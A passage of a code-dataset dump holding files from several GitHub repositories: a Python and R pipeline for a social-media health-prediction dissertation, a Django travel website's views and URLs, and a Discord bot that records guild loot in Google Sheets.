rows:\n\t\t\tct += 1\n\t\t\tuid = row[0] \n\t\t\tdmonth = row[1] \n\t\t\tparams.append([dmonth, month_dict[dmonth], uid])\n\t\tquery = \"update {} set diag_monthnum = replace(diag_month,?,?) where uid=? and diag_month is not null\".format(condition)\n\t\twith conn:\n\t\t\tcur = conn.cursor()\n\t\t\tcur.executemany(query, params)\n\t\tconn.commit()\n\t\tprint \"Condition: {} | Converted {} months to monthnum\".format(condition,ct)\n\n\ndef count_days_from_turning_point(conn, condition, medium_abbr):\n\t''' Makes a new count variable: number of days from target date (diagnosis, trauma, conception, etc) '''\n\t\n\ttable_name = 'meta_'+medium_abbr\n\n\tquery = (\"SELECT DISTINCT platform, {cond}.username, diag_day, diag_monthnum, diag_year, days_suspected \".format(cond=condition) + \n\t\t\t \"FROM {cond} INNER JOIN {posts} \".format(cond=condition, posts=table_name) + \n\t\t\t \"WHERE ({cond}.uid_usernames = {posts}.uid) AND {cond}.username is not null AND {cond}.diag_year is not null AND {posts}.d_from_diag_{cond} is null\".format(cond=condition, posts=table_name)\n\t\t\t)\n\n\twith conn:\n\t\tcur = conn.cursor()\n\t\tcur.execute(query)\n\t\trows = cur.fetchall()\n\tprint \n\tprint\n\tprint \"CONDITION: {} ({})\".format(condition, medium_abbr.upper())\n\n\tparams = []\n\tfor r in rows:\n\t\tplatform, uname, day, month, year, dsusp = r\n\t\tmonth = '0'+str(month) if len(str(month))==1 else month\n\t\tday = '0'+str(day) if len(str(day))==1 else day \n\t\tdates = {}\n\t\tddate = '-'.join([str(year),str(month),str(day)])\n\t\tdates['diag'] = ddate\n\n\t\ttry:\n\t\t\tddate_obj = parser.parse(ddate)\n\t\texcept Exception, e:\n\t\t\tprint str(e)\n\t\t\tprint 'Problem with date for {} user: {}, date = {}'.format(medium_abbr, uname, ddate) \n\n\t\t# if days suspected is '60+', we enter a None value, otherwise compute the suspected date\n\t\tif dsusp and str(dsusp)[-1]!='+':\n\t\t\ttry:\n\t\t\t\tdsusp = re.sub(',','',dsusp)\n\t\t\t\tsdate_obj = ddate_obj - datetime.timedelta(days=dsusp)\n\t\t\t\tdates['susp'] = sdate_obj.strftime('%Y-%m-%d')\n\t\t\texcept Exception, e:\n\t\t\t\tprint 'ERRROR in count_days_from_turning_point:', str(e)\n\t\t\t\tprint 'Username: {}, Platform: {}, days_susp: {}'.format(uname, platform, dsusp)\n\t\t\t\tdates['susp'] = None\n\t\telse:\n\t\t\tdates['susp'] = None\n\t\n\t\tfor date_type in ['diag','susp']:\n\t\t\ttry:\n\t\t\t\tif dates[date_type] is not None:\n\t\t\t\t\tprint\n\t\t\t\t\tprint \"Writing count days for condition: {} | turning point: {}\".format(condition,date_type)\n\t\t\t\t\t# count number of days difference between post and diag/susp date\n\t\t\t\t\t# -int = post date is earlier than diag/susp date, +int=later\n\t\t\t\t\t# we get this number by subtracting the diagnosis/suspected date from the current date.\n\t\t\t\t\tquery = \"UPDATE {table} SET d_from_{date_type}_{cond}=julianday(created_date)-julianday('{date}') WHERE username='{uname}'\".format(table=table_name,cond=condition,date=dates[date_type],date_type=date_type,uname=uname)\n\t\t\t\t\t\n\t\t\t\t\twith conn:\n\t\t\t\t\t\tcur = conn.cursor()\n\t\t\t\t\t\tcur.execute(query)\n\t\t\t\t\tconn.commit()\n\t\t\t\t\tprint 'Commit complete for {} [TABLE: {}, COND: {}, DTYPE: {}]'.format(uname, table_name, condition, date_type)\n\t\t\texcept Exception,e:\n\t\t\t\tprint 'Error in writing count days for condition: {} | turning point: {} [ERROR: {}]'.format(condition,date_type,str(e))\n\ndef count_days_from_turning_point_wrapper(conn):\n\t''' Counts the number of days from turning point (either diagnosis or suspected date) for each social media\n\t\tpost, for a given user and a given condition. \n\t\t- Values of counts are +/- integers (-X = X days before turning point, +X = X days after turning point)\n\t\t- Count fields are named with the format: d_from_{turning_point}_{condition}, eg. d_from_diag_pregnancy \n\t\t- Attemps count for all rows in meta_ig/meta_tw which lack a count in all conditions \n\t\t (so might be more rows than the most recent batch of survey respondents) '''\n\n\tconditions = ['pregnancy','cancer','ptsd','depression']\n\tfor condition in conditions:\n\t\tfor medium in ['tw','ig']:\n\t\t\tcount_days_from_turning_point(conn, condition, medium)\n\nif __name__ == '__main__':\n\tcontrol_collection = False\n\tconn = util.connect_db()\n\tconn.text_factory = str\n\tadd_survey_data(conn, control=control_collection)\n\tcollect(conn)\n\tif not control_collection:\n\t\tadd_monthnum(conn)\n\t\tcount_days_from_turning_point_wrapper(conn)\n\n\n\t" }, { "alpha_fraction": 0.7198198437690735, "alphanum_fraction": 0.722522497177124, "avg_line_length": 54.54999923706055, "blob_id": "45957fdb4d1616199850bf7df45ec30607e738f9", "content_id": "00fa6f5b119c01926d6cb277ae490a09040c88cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1110, "license_type": "no_license", "max_line_length": 148, "num_lines": 20, "path": "/README.md", "repo_name": "minaksheeshukla/predicthealth", "src_encoding": "UTF-8", "text": "**Data Collection** \n<tt>run.py</tt> handles all of the RESTful/outward-facing requests (eg. /verify/\\<username\\>).\n<br /><br />\n<tt>collect.py</tt> and <tt>verify.py</tt> have medium-specific methods for verifying that a participant has followed us, and collecting their data.\n<ul>\n<li><tt>/collect</tt> is run either manually or as a cron job every 15 minutes (when turned on)</li>\n<li>it looks for any usernames with collected=0 in the <tt>usernames</tt> table</li>\n</ul>\n<tt>extract.py</tt> feeds subroutines to the <tt>/collect</tt> regime for feature extraction.\n<br /><br />\n<tt>util.py</tt> has various database and other helper functions.\n \n**Analysis**\n<ul>\n<li><tt>eda-instagram</tt> and <tt>eda-twitter</tt> are the analytical frames except for Bayesian stuff</li>\n<li><tt>*-bayes.R</tt> for Bayesian logistic regression and convergence checks</li>\n<li><tt>bgfunc</tt> contains all the heavy lifting for analysis and processing</li>\n<li><tt>face-detection</tt> compiles, trains, and verifies face detection algo</li>\n<li><tt>mixture-models</tt> has code for Kalman filter, GMM, and HMM</li>\n</ul>" }, { "alpha_fraction": 0.6163761615753174, "alphanum_fraction": 0.6236383318901062, "avg_line_length": 31.011627197265625, "blob_id": "1b7ff0a860b24727297092cb10369b2a0b994bb2", "content_id": "f7b4e75d5b9e13483843069454d9043ea43cbe2a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 5508, "license_type": "no_license", "max_line_length": 119, "num_lines": 172, "path": "/eda-instagram-bayes.R", "repo_name": "minaksheeshukla/predicthealth", "src_encoding": "UTF-8", "text": "#\n# 22 June 2016\n# Dissertation: Bayesian analysis (instagram)\n# Author: Andrew Reece\n#\n\nsetwd('~/Google Drive/_dissertation/backups/db_backup/')\n\nrequire(stringr)\nrequire(arm)\nsource('bgfunc.R')\n\n# mcmc model software params\nuse.jags <- FALSE\nuse.mcmc.pack <- TRUE\nload.jags <- FALSE\nload.coda <- FALSE\nload.mcmc.pack <- TRUE\nif (use.jags) require(rjags)\nif (use.mcmc.pack) require(MCMCpack)\n\n# mcmc params\nn <- 200000\nthin <- 10\nburn.in <- 10000\ndic.samp <- 1000\nb0 <- 0\nB0 <- 0.0001\n\n# analysis params\nanalyze.addtl.data <- FALSE\nstandardize.predictors <- TRUE\nposting.cutoff <- FALSE\ncompute.separate.hsv.means <- FALSE\nonly.created.date <- FALSE\nrun.diagnostics <- TRUE\n show.autocorr <- TRUE\n show.gelman <- TRUE\n show.geweke <- TRUE\n show.bayes.p <- TRUE\n\ndic.comparison <- TRUE\nbayes.factor <- TRUE\nmodel.dic <- list()\nb.factor <- list()\n\n# data params\nvarset <- readRDS('varset.rds')\ncondition <- 'depression' # depression, pregnancy, cancer, ptsd\nmedium <- 'ig' # ig, tw\nkind <- 'MAIN' # MAIN, before_from_diag, before_from_susp\naddtl <- ifelse (analyze.addtl.data, 'addtl', 'no_addtl')\nstdized <- ifelse (standardize.predictors, 'standardized', 'nonstandardized')\npost.cut <- ifelse (posting.cutoff, 'post_cut', 'post_uncut')\nif (compute.separate.hsv.means) {\n model.complexities <- c('intercept_only', 'hsv_means', 'all_ig_means', 'ig_face_means')\n} else {\n model.complexities <- c('intercept_only', 'all_ig_means', 'ig_face_means')\n}\n\nif (analyze.addtl.data) model.complexities <- c(model.complexities,'ratings_means','all_means')\n\nif (only.created.date) {\n gb.types <- c('created_date')\n} else {\n gb.types <- c('post','created_date','username')\n}\n \n\n# adjustments\n#model.complexities <- c('ig_face_means') \n#gb.types <- c('created_date')\n\nfor (gb.type in gb.types) {\n\n # generate file path to data csv (created in python)\n fpath <- get.data.fpath(condition,medium,gb.type,kind,addtl,post.cut)\n df <- read.csv(fpath, header=T, stringsAsFactors=F)\n \n for (m in model.complexities) {\n print(paste('Running analysis for Timeline:',kind,':: groupby type:',gb.type,':: cutoff:',post.cut,':: Model:', m))\n \n if (m == 'intercept_only') {\n \n var.list <- build.var.list(NULL, NULL, df, standardize.predictors, intercept.only=TRUE)\n output <- write.jags.model(mdf, NULL, NULL, intercept.only=TRUE)\n model.jags <- output[['model']]\n var.names <- output[['var.names']]\n if (use.mcmc.pack) mdf <- data.frame(b.0=rep(1,nrow(df)))\n } else {\n \n means <- m\n mdata <- set.model.data(medium, gb.type, means, varset, df)\n preds <- mdata[['preds']]\n mdf <- mdata[['mdf']]\n var.list <- build.var.list(preds, mdf, df, standardize.predictors)\n output <- write.jags.model(mdf, preds, var.list) \n model.jags <- output[['model']]\n var.names <- output[['var.names']]\n }\n \n if (use.jags) {\n jags.full.path <- get.jags.path('jags','jags',condition,medium,kind,gb.type,addtl,stdized,m,post.cut)\n coda.full.path <- get.jags.path('jags','coda_samples',condition,medium,kind,gb.type,addtl,stdized,m,post.cut)\n \n if (load.jags) {\n load(jags.full.path)\n jags$recompile()\n } else { # otherwise, run the mcmc simulation\n #runjags1 <- run.jags(model.jags, n.chains=2)\n jags <- jags.model(textConnection(model.jags), data = var.list, n.chains = 2)\n update(jags, burn.in) ## burn-in\n save(file=jags.full.path, list=\"jags\")\n }\n \n if (load.coda) {\n load(coda.full.path)\n } else {\n # coda samples save to file inside get.coda.params()\n mcmc <- get.coda.params(jags, var.names, thin, n.iter, coda.full.path)\n }\n } else if (use.mcmc.pack) {\n pack.full.path <- get.jags.path('pack','mcmcpack',condition,medium,kind,gb.type,addtl,stdized,m,post.cut)\n \n if (load.mcmc.pack && file.exists(pack.full.path)) {\n load(pack.full.path)\n } else {\n mdf['target'] <- df$target\n mcmc <- mcmc.pack.model(mdf, burn.in, n, thin, b0, B0, m)\n save(file=pack.full.path, list=\"mcmc\")\n }\n }\n \n if (use.mcmc.pack) {\n var.names <- pack.var.names(var.names)\n }\n \n # stats on samples from the mcmc posterior\n if (m != 'intercept_only') print(summary(mcmc)[[1]][,c('Mean','SD')])\n report.hpdi(mcmc, var.names) # flags HPDIs containing zero, plots hist\n \n ## MCMC diagnositcs\n if (run.diagnostics) {\n # trace and posterior density\n for (field in var.names) { # plotting all at once is too big\n plot(mcmc[[1]][,field], main=field)\n }\n # autocorrelation\n if (show.autocorr) autocorr.plot(mcmc)\n # Gelman diagnostics\n if (show.gelman && m!='intercept_only') {\n print(gelman.diag(mcmc))\n try(gelman.plot(mcmc))\n }\n if (show.geweke && m!='intercept_only') {\n print(geweke.diag(mcmc))\n try(geweke.plot(mcmc))\n }\n if (show.bayes.p) bayes.p <- get.bayes.p(var.list, mcmc, print.stats=TRUE)\n \n }\n \n ## Model comparison\n # DIC (D=deviance) model comparison statistic, lower is better\n if (dic.comparison && use.jags) model.dic[[m]] <- dic.samples(jags, dic.samp) \n if (bayes.factor && use.mcmc.pack) b.factor[[m]] <- mcmc\n }\n \n if (dic.comparison && use.jags) compare.dic(model.dic, analyze.addtl.data)\n if (bayes.factor && use.mcmc.pack) b.factor.output <- compare.bayes.factor(b.factor, analyze.addtl.data, TRUE)\n \n} # end gb.type loop\n\n\n" } ]
12
shetty-shithil/Travel-company-website
https://github.com/shetty-shithil/Travel-company-website
3408ade1d675dfe227247f68ecaf0095ac5c84ba
c643c4eb23e50695caa3d0f799b11ceaf0bb8c2a
4ae1de10124649a9c873e4e0c500d2a56af4b505
refs/heads/master
2023-04-14T12:19:38.615347
2021-04-21T17:56:22
2021-04-21T17:56:22
360,254,845
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6251028776168823, "alphanum_fraction": 0.6267489790916443, "avg_line_length": 32.73611068725586, "blob_id": "23489e725e7903a08c1b0bf09adad7cdbaf8cb6d", "content_id": "a847acb20b2105b99a904a39fbdf595ded72acec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2430, "license_type": "no_license", "max_line_length": 141, "num_lines": 72, "path": "/accounts/views.py", "repo_name": "shetty-shithil/Travel-company-website", "src_encoding": "UTF-8", "text": "from django.shortcuts import render,redirect\nfrom django.contrib import messages\nfrom django.contrib.auth.models import User,auth\n# Create your views here.\ndef logout(request):\n auth.logout(request) \n return redirect('/')\ndef login(request):\n if request.method=='POST':\n username = request.POST['user_name']\n password = request.POST['password']\n\n user = auth.authenticate(username=username, password=password)\n if user is not None:\n auth.login(request,user)\n return redirect('/')\n else:\n messages.info(request,'Invalid Credentials.')\n return redirect('login')\n else:\n return render(request,'login.htm')\n\ndef register(request):\n if request.method == 'POST':\n first_name = request.POST['first_name']\n last_name = request.POST['last_name']\n username = request.POST['user_name']\n password1 = request.POST['password1']\n password2 = request.POST['password2']\n email = request.POST['email']\n\n\n if password1==password2: \n if User.objects.filter(username=username).exists():\n messages.info(request,'Username Taken.')\n return redirect('register')\n elif User.objects.filter(email=email).exists():\n messages.info(request,'Email Taken.')\n return redirect('register')\n else: \n user = User.objects.create_user(username=username, password=password1, email=email, first_name=first_name, last_name=last_name)\n messages.info(request,'User Created.')\n user.save(); \n \n else:\n messages.info(request,'Password not matching.') \n return redirect('register')\n return redirect('login')\n else: \n return render(request, \"register.htm\")\ndef home(request):\n return redirect('/')\ndef contact(request):\n return render(request, 'contact.htm') \ndef Mumbai(request):\n return render(request, 'Mumbai.htm')\n # if request=='Mumbai':\n\"\"\" \n elif request=='Bengaluru':\n return render(request, 'Mumbai.htm')\n elif request=='Jaipur':\n return render(request, 'Mumbai.htm')\n elif request=='Delhi':\n return render(request, 'Mumbai.htm') \"\"\"\n\n\ndef Bengaluru(request):\n return render(request, 'Bengaluru.htm')\ndef Jaipur(request):\n return render(request, 'Jaipur.htm')\ndef Delhi(request):\n return render(request, 'Delhi.htm') \n" }, { "alpha_fraction": 0.8264984488487244, "alphanum_fraction": 0.8264984488487244, "avg_line_length": 78.25, "blob_id": "e2af700477bd9e428254249c5c959b591dbbc39d", "content_id": "9401fa0e68d5cd18c458cdae96108c7557967fe8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 317, "license_type": "no_license", "max_line_length": 127, "num_lines": 4, "path": "/README.md", "repo_name": "shetty-shithil/Travel-company-website", "src_encoding": "UTF-8", "text": "# Travel-company-website\nA basic website created using Django framework.\nDjango is a Python-based free and open-source web framework that follows the Model View Controller(MVC) architectural pattern. \nThis is a website which includes the basic CRUD functionalities. PostgreSQL is the database management system used.\n" }, { "alpha_fraction": 0.6827852725982666, "alphanum_fraction": 0.6905222535133362, "avg_line_length": 36, "blob_id": "8113447c2c0c415b25fb1692a1da726f730953c9", "content_id": "404be2866baffaf2347ca8e8af33b384ade2ea28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 517, "license_type": "no_license", "max_line_length": 57, "num_lines": 14, "path": "/accounts/urls.py", "repo_name": "shetty-shithil/Travel-company-website", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom . import views\n\nurlpatterns=[\n path('Mumbai',views.Mumbai,name='destination1'),\n path('Bengaluru',views.Bengaluru,name='destination2'),\n path('Jaipur',views.Jaipur,name='destination3'),\n path('Delhi',views.Delhi,name='destination4'),\n path('contact', views.contact, name='contact'),\n path('home', views.home, name='home'),\n path('register', views.register , name='register'),\n path('login', views.login , name='login'),\n path('logout',views.logout, name='logout')\n]" } ]
3
Tenkoni/SMH_GSheet_integration
https://github.com/Tenkoni/SMH_GSheet_integration
d81cae69cf177d4189abcca56ab5ce3d88655286
6ffecae54b8f92a6f6a746419da00a7b2d87571d
105463598355af86c530a6adf7323a8c4740b514
refs/heads/master
2022-02-06T02:01:05.522943
2019-07-22T08:23:27
2019-07-22T08:23:27
198,179,193
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.6048610806465149, "alphanum_fraction": 0.6181655526161194, "avg_line_length": 45.95805740356445, "blob_id": "dbbc2ec53dc7db9f55bf539fb428d721a55165c0", "content_id": "be09b49c3141e151f4b51aafa762f7e967028060", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 21271, "license_type": "no_license", "max_line_length": 229, "num_lines": 453, "path": "/Miyu_bp.py", "repo_name": "Tenkoni/SMH_GSheet_integration", "src_encoding": "UTF-8", "text": "# Copyright 2019 Tenko(LEMS)\n# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"),\n#to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,\n#and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n# The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n#DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE\n#OR OTHER DEALINGS IN THE SOFTWARE.\n\nimport discord\nimport os\nimport operator\nimport csv\nimport random\nimport asyncio\nimport datetime\nimport pygsheets\nimport numpy as np\nimport re\nfrom shutil import copyfile\nfrom discord import Game\nfrom discord.ext.commands import Bot\nfrom discord.ext import commands\n\n\nBOT_PREFIX = \"!!\"\nCWD = os.getcwd()\nTOKEN = \"--\"\nclient = Bot(command_prefix = BOT_PREFIX)\ngc = pygsheets.authorize()\n#open spreadsheet\nsh = gc.open_by_key('')\n#set worksheets\nplayer_income = sh.worksheet_by_title(\"Player Income\")\nincome_calc = sh.worksheet_by_title(\"Income Calculator\")\n#loottype\ntypesofloot = \"Neidan\\nAmethyst\\nHekaru\\nWhisker\\nSkin\\nSteel\\nShell\\nFin\\nHorn\\nTongue\\nJaw\\nGoblet\\nCoin\"\n#Current develpment:\n\n\n\[email protected](name = 'clean',\n description = 'Cleans the SMH data',\n pass_context = True)\n#@commands.has_any_role('Guild Master')\nasync def clean_smh(context):\n message = await context.send(\"Master, please wait while I clean the spreadsheet...\")\n player_income.clear(start= 'D2', end = 'Q101')\n await message.delete()\n await context.send(\"The SMH data has been cleaned.\")\n\n#this command will register loot\[email protected](name = 'add',\n brief = \"Add Neidan, Amethyst, Hekaru, Whisker, Skin, Steel, Shell, Fin, Horn, Tongue, Jaw, Goblet and Coin drops to your loot\",\n description = \"Usage: !!add <neidan|amethyst|hekaru|whisker|skin|steel|shell|fin|horn|tongue|jaw|goblet|coin> quantity \\n example: .add neidan 550\",\n pass_context = True)\n#@commands.has_any_role('Guild Member')\nasync def add_smh(context, loot_type: str, quantity: float, bymention = False):\n #this block will update the file, search for discord id and updates the information\n await adding(context, loot_type, quantity, bymention = False)\n@add_smh.error\nasync def add_smh_error(context, error):\n await context.send(\"You got the arguments wrong! It must be something like this: `!!add neidan 300 imgur.com/pic.jpg` \")\n\[email protected](name = 'add_split',\n brief = \"Add Neidan, Amethyst, Hekaru, Whisker, Skin, Steel, Shell, Fin, Horn, Tongue, Jaw, Goblet and Coin drops to your loot\",\n description = \"Usage: !!add_split <neidan|amethyst|hekaru|whisker|skin|steel|shell|fin|horn|tongue|jaw|goblet|coin> quantity <@partner> <70|60|65|50> \\n example: !!add_split neidan 550 imgur.com/pic.jpg @fren 70\",\n pass_context = True)\nasync def add_split(context,loot_type: str, quantity: float, mention:str, splitmode:str):\n if float(splitmode) >=100 and float(splitmode)<=0:\n context.send(\"Just numbers between 0 and 100 are allowed, don't try to cheat.\")\n split = float(splitmode)/100\n await adding(context, loot_type, quantity*split)\n await adding(context, loot_type, quantity*(1-split), bymention = True)\n\n\[email protected](name = 'show_tiers',\n brief = 'Display the current tiers for smh.',\n pass_context = True)\n#@commands.has_any_role('Members')\n\nasync def show_tiers_smh(context):\n tiernumbers = '1\\n2\\n3\\n4\\n5\\n6\\n7\\n8\\n9\\n10\\n'\n tierprofit = ''\n for tier in income_calc.range('L14:L23'):\n tierprofit += '${:10,.0f}'.format(MoneyToInt(tier[0].value)) +'\\n'\n embed = discord.Embed(title = 'Current tiers', description=\"Here are the tiers for this week!\", color= 0xff9baa)\n embed.add_field(name= 'Tier', value= tiernumbers, inline = True)\n embed.add_field(name= 'Starting loot', value= tierprofit, inline = True)\n embed.set_thumbnail(url=\"https://files.catbox.moe/lxblyj.gif\") \n await context.send(embed = embed)\n\[email protected](name = 'loot',\n brief = 'Shows the total guildies loot for this week',\n description = 'This will show the current loot gathered by guildies including their participation percentage',\n pass_context = True)\n#@commands.has_any_role('Members')\nasync def loot_smh(context):\n\n seahunters = []\n total = guildies = 0\n for line in income_calc.range('B2:B101'):\n if(line[0].value != ''):\n mons = MoneyToInt(line[0].neighbour('right').value)\n seahunters.append((line[0].value, mons))\n total += mons\n guildies += 1 \n if(guildies == 0):\n await context.send(\"There are no registered sailors, please register someone first.\")\n return\n seahunters.sort(key = operator.itemgetter(1), reverse = True)\n namestring = profistring = ''\n if not total:\n total = 1\n for hunter in range(guildies):\n namestring = namestring + '{:>8} {:>16}'.format(\"**\"+str(hunter + 1) + \".** \", seahunters[hunter][0]) +\"\\n\"\n profistring = profistring +'${:15,.2f}'.format(float(seahunters[hunter][1])) + \" **(%\" + \"{0:.2f}\".format(100*float(seahunters[hunter][1])/total) + \")**\\n\"\n embed = discord.Embed(title = 'Weekly loot', description=\"Here's a compendium of this week loot\", color= 0xff9baa)\n embed.add_field(name= 'Family Name', value= namestring, inline = True)\n embed.add_field(name= 'Profit', value= profistring, inline = True)\n #embed.add_field(name= 'Tier', value= tierstring, inline = True)\n embed.set_thumbnail(url=\"https://files.catbox.moe/lxblyj.gif\")\n if total == 1:\n embed.add_field(name= 'Total weekly profit', value= '${:10,.2f}'.format(0))\n else:\n embed.add_field(name= 'Total weekly profit', value= '${:10,.2f}'.format(total))\n ##embed.add_field()\n await context.send(embed=embed)\n\[email protected](name = 'enrol',\n brief = \"Enrols the user that runs this command\",\n description = \"usage: !!enrol FamilyName, if the user already exist the bot will notify so, otherwise the user will be added to the database.\",\n pass_context = True)\n#@commands.has_any_role('Members')\nasync def enrol_me(context, family:str):\n index_save = 2000; #random number above 100\n flagnewentry = True\n for index, line in enumerate(player_income):\n if line[0] == str(context.message.author.id):\n flagnewentry = False\n await context.send(context.message.author.mention+ \", you're already registered\")\n break\n elif line[0] == '':\n index_save = index\n break\n #if the family name wasn't registered before, we create a new row\n if (flagnewentry and index <= 100):\n player_income.update_value('A'+str(index_save + 1), str(context.message.author.id))\n player_income.update_value('B'+str(index_save + 1), family)\n await context.send(context.message.author.mention +\", I have added you to the database!\")\n elif(index >100):\n await context.send(\"There are already 100 members registered, please contact an officer.\")\n\n@enrol_me.error\nasync def enrol_me_error(context, error):\n await context.send(\"You got the arguments wrong! It must be like this: `!!enrol familyname` \")\n\[email protected](name = 'disenrol',\n brief = \"Removes the user from the SMH list\",\n description = \"usage: !!disenrol @user\",\n pass_context = True)\n#@commands.has_any_role('Sea Director')\nasync def disenrol_smh(context, mention:str):\n index_save = 2000\n byebye = False\n for index, line in enumerate(player_income):\n if line[0] == str(context.message.mentions[0].id):\n byebye = True\n index_save = index\n break\n elif line[0] == '' and index > 100:\n break\n if byebye:\n msg1= await context.send(\"Are you sure you want to delete \"+context.message.mentions[0].display_name + \" from the spreadsheet? [Yes/No]\")\n try:\n ans = await client.wait_for('message', timeout = 10.0)\n except asyncio.TimeoutError:\n await context.send('Timeout: The delete has been cancelled.')\n await msg1.delete()\n return\n if ans.content.upper() == \"YES\":\n player_income.clear(start= 'D'+str(index_save+1), end = 'Q'+str(index_save + 1))\n player_income.update_value('A'+str(index_save + 1), '')\n player_income.update_value('B'+str(index_save + 1), '')\n await msg1.delete()\n await ans.delete()\n await context.send(\"The traitor has been removed from premises.\")\n else:\n await msg1.delete()\n await ans.delete()\n await context.send(\"The delete has ben cancelled.\")\n\n else:\n await context.send(\"There's no such person registered, check again please.\")\n\n@disenrol_smh.error\nasync def disenrol_smh_error(context, error):\n print(error)\n await context.send(\"You got wrong your arguments, remember to mention someone.\")\n\[email protected](name = 'sailors',\n description = 'Shows the Family Name of the people that has contributed.')\n#@commands.has_any_role('Members')\nasync def sailors(context):\n hunters = ''\n membs = -1\n ga = 0\n for index, line in enumerate(player_income):\n if(line[0]!=''):\n membs += 1\n if (MoneyToInt(line[2]) != 0):\n hunters += line[1] + \"\\n\"\n ga += 1\n if(index>100):\n break\n if membs == -1:\n await context.send(\"There are no registered sailors, please register someone first.\")\n return\n await context.send(\"```\" +\"The are \" + str(ga)+ \" active members of \"+ str(membs)+\" members, this making a participation of %\" +\"{0:.2f}\".format(100*ga/membs) +\": \\n\" + hunters +\"```\" )\n\n# @client.command(name = 'tracker',\n# description = 'Give me an id and I will track someone',\n# context = False)\n# async def tracker(trackid : str):\n# await client.say (\"Oh... let me see.\")\n# user = await client.get_user_info(trackid)\n# await client.say(user.mention + \"<- I found this person!\")\n# @tracker.error\n# async def disenrol_smh_error(context, error):\n# await client.say(\"I-It's a ghost that already left the server!\")\n\n\[email protected](name = 'sailorloot',\n description = 'Shows the specific loot of the sailor.',\n context = True)\nasync def sailorloot(context, mentioned : str):\n memb = True\n lootqu = ''\n money = 0\n for index, line in enumerate(player_income):\n if line[0] == str(context.message.mentions[0].id):\n memb = False\n for data in player_income.range('D'+str(index +1)+\":P\"+str(index+1))[0]:\n lootqu += '{:10,.0f}'.format(MoneyToInt(data.value)) +'\\n'\n money = MoneyToInt(player_income.cell('C'+str(index+1)).value)\n embed = discord.Embed(title = 'Loot of '+context.message.mentions[0].display_name, description=\"Here's the loot this sailor has collected\", color= 0xff9baa)\n embed.add_field(name= 'Loot Type', value= typesofloot, inline = True)\n embed.add_field(name= 'Quantity', value= lootqu, inline = True)\n embed.set_thumbnail(url=\"https://files.catbox.moe/lxblyj.gif\")\n embed.add_field(name= 'Total weekly profit', value= '${:10,.2f}'.format(money))\n await context.send(embed = embed)\n break \n if memb:\n await context.send(\"The sailor wasn't found.\")\n return\[email protected]\nasync def sailor_loot_error(context, error):\n await context.send(\"You got wrong your arguments, remember to mention someone.\")\n \n\[email protected](name = 'tiers',\n brief = \"Shows the tier distribution and the users in it.\",\n description = \"usage: !!tiers\",\n pass_context = True)\n#@commands.has_any_role('Members')\nasync def tiers_smh(context):\n \n seahunters = []\n for line in income_calc.range('B2:B101'):\n if(line[0].value != ''):\n seahunters.append((line[0].value, MoneyToInt(line[0].neighbour((0,2)).value)))\n if(len(seahunters) == 0):\n await context.send(\"There are no registered sailors, please register someone first.\")\n return\n else:\n seahunters.sort(key = operator.itemgetter(1), reverse = True)\n namestring = tierstring = ''\n for hunter in range(len(seahunters)):\n namestring = namestring + '{:>8} {:>16}'.format(\"**\"+str(hunter + 1) + \".** \", seahunters[hunter][0]) +\"\\n\"\n tierstring = tierstring + str(int(seahunters[hunter][1])) + '\\n' \n embed = discord.Embed(title = 'Weekly tiers', description=\"Here's a compendium of tiers for this week!\", color= 0xff9baa)\n embed.add_field(name= 'Family Name', value= namestring, inline = True)\n embed.add_field(name= 'Tier', value= tierstring, inline = True)\n embed.set_thumbnail(url=\"https://files.catbox.moe/m1uzlo.gif\") \n ##embed.add_field()\n await context.send(embed = embed)\n\n@disenrol_smh.error\nasync def disenrol_smh_error(context, error):\n await context.send(\"You got wrong your arguments, remember to mention someone.\")\n\n\n\[email protected](name = 'about_tier',\n brief = \"Shows your current tier and what you need to hit the next tier.\",\n description = \"usage: !!about_tier\",\n pass_context = True)\nasync def next_tier(context):\n family_name = tier = ''\n remaining = income_c = 0\n for line in income_calc.range('A2:A101'):\n if(line[0].value == str(context.message.author.id)):\n family_name = line[0].neighbour('right').value\n income_c = MoneyToInt(line[0].neighbour((0,2)).value)\n tier = line[0].neighbour((0,3)).value\n if(not family_name):\n await context.send(\"You're not registered, please use the enrol command first.\")\n return\n\n for line in income_calc.range('K14:K22'):\n if(line[0].value == tier):\n remaining = MoneyToInt(line[0].neighbour((1,1)).value) - income_c\n break\n\n embed = discord.Embed(title = 'Tier info', description=\"Here's more info about your loot.\", color= 0xff9baa)\n embed.add_field(name= 'Family Name', value= family_name, inline = True)\n embed.add_field(name= 'Tier', value= str(tier), inline = True)\n embed.add_field(name= 'Income', value= '${:10,.2f}'.format(income_c), inline = True)\n if (remaining):\n embed.add_field(name= 'To hit next tier:', value= '${:10,.2f}'.format(remaining), inline = True)\n embed.set_thumbnail(url=\"https://files.catbox.moe/m1uzlo.gif\") \n await context.send(embed = embed)\n\n#WIP gifting loot\n# @client.command(name = 'gift',\n# description = \"Gives a share of your loot to another member, .gift @mention loot_type quantity\\n Example: .gift @Myfriend 100m 2\",\n# context = True)\n# async def gift_smh(context, who:str, loot_type:str, quantity:int):\n# if (os.path.isfile(CWD +\"/\"+db) == False):\n# await client.say(\"REEEE, the database is missing, 